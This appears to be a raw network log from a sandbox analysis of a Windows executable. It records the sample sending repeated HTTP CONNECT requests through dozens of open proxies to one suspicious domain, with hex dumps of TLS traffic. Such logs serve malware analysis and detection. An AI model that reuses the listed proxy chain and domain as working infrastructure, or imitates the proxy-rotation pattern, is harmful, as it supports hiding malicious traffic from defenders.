Mar 11, 2024 15:21:08.525795937 CET	372	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 15:21:08.525913954 CET	460	IN	Data Raw: 83 81 6f ef 8c cf 97 af c0 85 2a f0 f5 4e 69 09 91 2d e1 68 b8 c1 2b 73 e9 d4 d9 fc 22 c0 37 1f 0b 66 1d 49 ed 02 55 8f 67 e1 32 d7 d3 26 bf 70 e3 3d f4 67 6d 3d 7c e5 34 88 e3 32 fa a7 6e 06 6a 6f bd 8b 91 ee 16 4b e8 3b a9 b3 37 e7 c3 44 a4 7e Data Ascii: oNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[wIH(3rS5b$9~AR?,( f=70?(]AL}v4"tKh:>S);F\|AHdh9We
Mar 11, 2024 15:21:08.570815086 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 cd ba ce 3e bb 91 4a e0 c7 5e 94 57 2a ac fd c3 e9 52 2e ed 21 ca 08 e2 04 f3 95 ac 8e a3 d6 12 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 3a 71 27 05 a5 53 51 ad 29 d5 71 8d 93 09 3d 50 d3 89 54 10 8b Data Ascii: %! >J^W*R.!(:q'SQ)q=PTw!a
Mar 11, 2024 15:21:08.905062914 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 ee 88 da 9c 5c 1b 63 ed b6 c6 bf c4 0f 7f 7a 07 d3 15 8c bb 50 75 91 5b b0 50 9a 98 db ee 8b 32 f5 76 70 62 bb 2f 2b 0a 10 d8 00 21 4e 40 f8 7f e3 9a 25 9f 49 f8 f5 4f 4c e8 1f 95 5a d2 3a 90 82 11 95 Data Ascii: \czPu[P2vpb/+!N@%IOLZ:[o,(06nu?/$0yjp^0"'Z"+K1KG?l>o}%cla863a'$O\|3(YBE~V~]5
Mar 11, 2024 15:21:09.106928110 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 ee 66 0b 08 ce 9b c4 fa 9e ba 55 fb 7a 02 ae 49 16 72 66 0c f1 de 7b 3a 94 ea 65 8d 1f bb 3a ae 93 cb 39 cd 09 c1 39 bc 44 bf 6c 7e 07 db 25 9f 6b 8b 2d 5f 82 37 53 60 3c c1 1f 38 c3 46 ad 7c 81 7b e0 d7 a1 Data Ascii: fUzIrf{:e:99Dl~%k-_7S`<8F\|{wo{0'^-N0!Cz#1&wS#U#~$TJ>KvIWUjLU70qrK?ed4iQtW.=;Vy1MaE#lO!a<(
Mar 11, 2024 15:21:09.452321053 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 83 85 fe 53 7f ee 3a d9 d8 c5 e2 fc 66 41 bf eb 51 4c 52 0d 83 c1 32 a4 38 9c c8 0a 3b 20 46 d1 bf 42 f1 f5 9a 0b e9 eb 15 56 bc 75 c7 d3 80 4a 15 28 2a 77 1e 45 c4 9c d1 04 d7 37 17 75 26 8c 21 ac b8 aa e2 Data Ascii: qS:fAQLR28; FBVuJ(wE7u&!lZ3uuF^y.c%n{9CWx\|iX{4H34d:<x<)>>uWM$ rGk[,aPRp_W@KBSvs-NWTV~c'.t+P.\|*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.9	53585	54.248.238.110	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.204015970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.470977068 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:07.471338034 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 13 52 b2 19 ad 20 ab 15 01 0d 09 6c 96 bf 71 4d e6 23 f0 84 f4 f8 5e 3f 7f dc b8 a2 ce 9e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eR lqM#^?*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#)[jBDg5{HG_<'/lyZzj{rU
Mar 11, 2024 15:21:07.750777960 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 63 43 1a aa 7a de b0 d1 18 6e b4 ea 6a 4f 2d 9a 75 43 6e b5 b2 b4 f9 fb 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9cCznjO-uCnDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311135602Z260311135602Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:07.832094908 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8b 6f a1 f1 7c 06 07 d4 4d 8b 0a d1 80 df 96 dd c4 9e c3 9a 01 97 63 07 ca d2 b7 1d d0 14 83 27 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2c 9d 99 07 db ae 37 74 72 35 d6 59 dd 30 99 a3 15 62 43 7d 50 Data Ascii: %! o\|Mc'(,7tr5Y0bC}PH+8
Mar 11, 2024 15:21:08.095952988 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 e0 02 88 bd 62 ed 86 9a 96 5a b4 08 74 87 3d 69 a2 b9 db 64 aa d4 55 4b 89 6d 8a 25 00 d1 9c 10 20 2d d5 0b d6 0c c7 20 Data Ascii: (bZt=idUKm% -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.9	53647	13.59.156.167	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.204533100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.421271086 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.9	51902	47.74.152.29	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.204535007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.325318098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.9	53636	67.205.132.249	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.204756975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.428023100 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.9	51960	159.89.194.121	16075	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.205646992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.289108992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.388031006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.497318983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.9	53667	12.176.231.147	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.205646992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879477978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548796892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903609991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.388098955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.903877974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.403811932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.355626106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.200041056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.9	53702	162.241.50.179	49858	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.208400011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825298071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.638171911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.9	51941	194.226.164.214	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.212588072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.9	53582	203.95.199.159	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.218122005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.9	51700	208.109.14.49	50540	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.222153902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.9	53606	110.12.211.140	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.222590923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.9	53609	82.113.157.122	31280	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.225276947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.9	51632	148.72.211.168	59828	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.228130102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.9	53640	23.137.248.197	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.245163918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.539608955 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.9	53593	185.217.143.23	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.246345043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.9	53621	167.86.69.142	45364	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.249305010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934727907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.934850931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.833549976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637938023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.325378895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.137962103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.637940884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.325077057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.9	53590	148.72.209.174	4734	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.253541946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.137660027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325561047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.434906960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.637927055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.9	53669	13.40.239.130	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.255012035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.545723915 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.9	53805	43.153.177.44	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.258105993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
